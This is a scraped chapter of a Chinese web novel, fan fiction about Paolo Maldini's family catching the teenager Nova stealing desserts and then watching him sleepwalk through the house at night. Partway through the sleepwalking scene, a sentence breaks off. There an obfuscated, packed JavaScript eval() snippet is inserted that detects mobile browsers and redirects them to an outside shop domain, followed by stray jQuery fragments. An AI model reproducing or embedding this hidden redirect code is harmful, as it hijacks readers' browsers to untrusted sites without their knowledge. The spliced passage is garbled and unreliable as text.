文趣网 > 都市小说 > 诺瓦的if线 > 24. 甜点失踪案和半夜闹鬼。
    1

    马尔蒂尼家的厨房最近闹了个“甜点失踪案”。

    先是放在保鲜柜里的半盒树莓慕斯没了影,紧接着盘里刚做好的马卡龙少了整整一排,连马尔蒂尼太太藏在橱柜最上层、准备招待客人的限定提拉米苏,第二天打开柜门就剩了个空盒子,连蛋糕纸都被舔得干干净净。

    全家对着空蛋糕盒面面相觑了三分钟,最后马尔蒂尼循着地上掉的金箔碎,一路摸到了阳台的杂物柜后面——十五岁的诺瓦正蹲在里面,金发上沾了半片蛋糕屑,怀里抱着空蛋糕盒,腮帮子鼓得像塞了两颗核桃,脚边还蹲着三花小猫慕斯,猫爪子上沾了一圈奶油,正吧唧嘴舔得满脸白。

    一人一猫被抓包的瞬间,同时僵住了。诺瓦嘴里的蛋糕还没咽下去,蓝眼睛睁得圆溜溜的,像只偷了蜂蜜被当场逮住的小熊,连耳尖都瞬间红透。他本来是想踩着高脚凳偷偷够橱柜上的甜点,结果刚把提拉米苏抱下来,就听见玄关传来开门声,慌慌张张抱着蛋糕躲进了阳台杂物柜,连高脚凳都忘了放回原位。

    马尔蒂尼靠在阳台门框上憋笑憋得肩膀抖,掏出手机咔嚓拍了张照,转头就把这张“人赃并获”的照片发到了米兰名宿群里,不到半分钟群里直接炸锅。

    当天晚上,马尔蒂尼家的餐桌上就多了个半人高的专属小甜点柜,钥匙直接挂在了诺瓦的卧室门把手上。马尔蒂尼太太照着阿德里亚诺和菲利斯当年的口味,把柜子塞得满满当当,全是筛过三遍过敏原的甜点,连芒果丁都没敢放半颗。

    结果第二天早上,马尔蒂尼下楼吃早饭,就看见诺瓦坐在客厅地毯上,金发翘得乱七八糟,赛瑞安趴在他腿上,一人一猫头挨着头,正对着一张A4纸涂涂画画。诺瓦手里攥着彩笔,蓝眼睛亮得很,在纸上把整个家的甜点藏匿点全标了出来,连马尔蒂尼藏在书房抽屉里的黑巧克力,都被他用红笔圈了个大大的星号,旁边还画了个叼着蛋糕的小奶猫。

    “我昨天晚上摸清楚的!”诺瓦举着画纸给他看,指尖点着最角落的储物间位置,“这里面有你去年生日剩下的半盒芝士蛋糕,我昨天晚上闻着味找着的!”

    马尔蒂尼看着这张堪比米兰内洛训练场战术图的甜点地图,笑得直不起腰,转头就把这张画拍下来发去了群里,群里的老名宿们集体刷起了“世一中接班人的新成就:把中场视野用在找甜点上”。

    结果当天下午,皮尔洛就拎着满满一兜水果硬糖上门,加图索扛着三盒提拉米苏,巴雷西抱着一整箱无致敏成分的曲奇饼干,一群人挤在马尔蒂尼家的客厅里,围着诺瓦的甜点柜往里面塞东西,没十分钟就把半人高的柜子塞得关不上门。

    诺瓦站在旁边抱着刚拿到的巧克力,晃着脚笑得眼睛都弯了,赛慕斯蹲在甜点柜顶上,爪子扒着柜边往里面探,差点一头栽进去。

    马尔蒂尼靠在门框上看着闹成一团的众人,忽然想起二十多年前,阿德里亚诺也是这样,抱着偷来的蛋糕躲在阳台后面,被他抓包的时候红着耳尖,蓝眼睛亮得像星星。原来有些东西从来都不会真的消失,它会顺着血脉,变成小崽子藏在甜点柜里的奶油香,变成金发上沾的蛋糕屑,变成一群老伙计凑在一起,热热闹闹给小孩塞糖的下午。

    那天晚上诺瓦写日记,在最后画了个圆滚滚的提拉米苏,旁边画了两个虚影,一个是棕褐色长卷发的男人,一个是金发绿眼睛的男人,三个人中间摆着满满一桌子甜点,三花小猫蹲在桌子最中间,尾巴翘得老高。他在画的最底下歪歪扭扭写了一行字:今天没躲柜子,光明正大吃了三块蛋糕。

    写完他把日记本塞回抽屉,转头就听见楼下传来马尔蒂尼的喊声:“诺瓦!皮尔洛跟你抢最后一块树莓慕斯来了!快下来护食!”

    少年踩着拖鞋咚咚咚往楼下冲,金发在楼梯间飘起来,风裹着满屋子的甜香,从客厅的窗户飘出去,飘向远处亮着灯的圣西罗。

    2

    深秋的米兰夜里飘着细小雨丝,马尔蒂尼家的老别墅关紧了门窗,连风都钻不进来,壁炉里的木柴烧得噼啪轻响,暖融融的香气裹着满墙的旧照片,静得能听见挂钟指针走动的声响。

    凌晨两点整,起夜去给壁炉添柴的马尔蒂尼刚走到楼梯口,脚步猛地顿住。

    廊灯暖黄的光里,一道金发影子光着脚踩在橡木地板上,连半分脚步声都没漏出来,像一片轻飘飘的阳光在夜里慢慢飘。诺瓦怀里抱着刚满三个月的三花猫慕斯,蓝眼睛蒙着梦游时特有的雾水汽,就这么慢悠悠沿着别墅的走廊一间房一间房地转,指尖轻轻拂过每一扇房门的把手,像在挨个跟房间里的旧时光打招呼。

    他先晃去阿德里亚诺当年住过的客房,推开门走进去,蹲在地毯上坐了五分钟,指尖蹭过床沿上当年刻下的足球

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17898346|212895||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    印记,慕斯蜷在他怀里,尾巴轻轻扫过他的手腕,像陪着他一起数那些刻痕里藏着的旧时光。

    接着他又晃去菲利斯的旧房间,站在窗边盯着外面的梧桐树看了好一会儿,金发被窗缝漏进来的小风撩得晃了晃,像菲利斯当年总爱趴在这扇窗边上,等着皮耶罗开车来接他去训练场。

    最后他停在书房门口,没有推门进去,就抱着猫站在原地,安安静静站了快十分钟,像在隔着二十多年的时光,跟站在书桌前写公式的女人对视。

    马尔蒂尼靠在楼梯扶手上看着,忽然想起多年前阿德里亚诺半夜敲开他家的门,浑身淋着雨,蓝眼睛红得发肿,说姐姐又梦游了,抱着猫在公寓里转了整整三圈,转完就坐在阳台边上发呆,他和菲利斯拦了半宿才把人哄回床上。那时候他还笑丰塔纳家的人个个都有奇奇怪怪的小习惯,没想到二十多年后,这个抱着猫在夜里慢慢转的少年,把安娜森蕊刻在基因里的梦游习惯,完完整整接了过来。

    诺瓦转完了所有房间,抱着慕斯慢悠悠晃回客厅,蹲在壁炉跟前的羊绒地毯上,就着暖融融的火光,盯着壁炉里跳动的火苗发呆。慕斯从他怀里跳出来,蜷在他脚边,一人一猫就这么安安静静坐着,连壁炉里飘出来的火星子都慢了下来。

    马尔蒂尼没上前打扰,就站在楼梯口陪着他,像当年兄弟两个人站在阳台底下,陪着梦游的安娜森蕊那样。

    快到凌晨三点的时候,诺瓦终于动了,他伸手把慕斯重新抱回怀里,光着脚慢悠悠走回自己的卧室,轻轻把猫放在枕头边,自己拽过被子裹住身子,没两秒就睡得呼吸均匀,金发散在枕头上,像撒了一层细碎的月光。

    第二天早上诺瓦醒过来,坐在床上揉眼睛,看见慕斯正趴在他枕边舔爪子,自己的袜子不知道什么时候丢在了客厅的地毯上,他一脸茫然地走下楼,看见马尔蒂尼坐在餐桌边,面前摆着阿德里亚诺当年留在这里的旧日记,扉页上写着一行小字:“姐姐梦游的时候别喊她,陪着她慢慢走,她走够了就会自己回来。”

    “我……我昨晚是不是又抱着猫转了一整夜?”诺瓦耳尖红透,蓝眼睛睁得圆圆的,像只偷跑出去逛了一圈的小奶猫。

    米兰的老球迷后来在论坛里说,哪是少年半夜梦游闹鬼啊,是走得太早的安娜森蕊,借着小崽子的脚步回自己住过的房子里,踏踏实实逛了一整夜。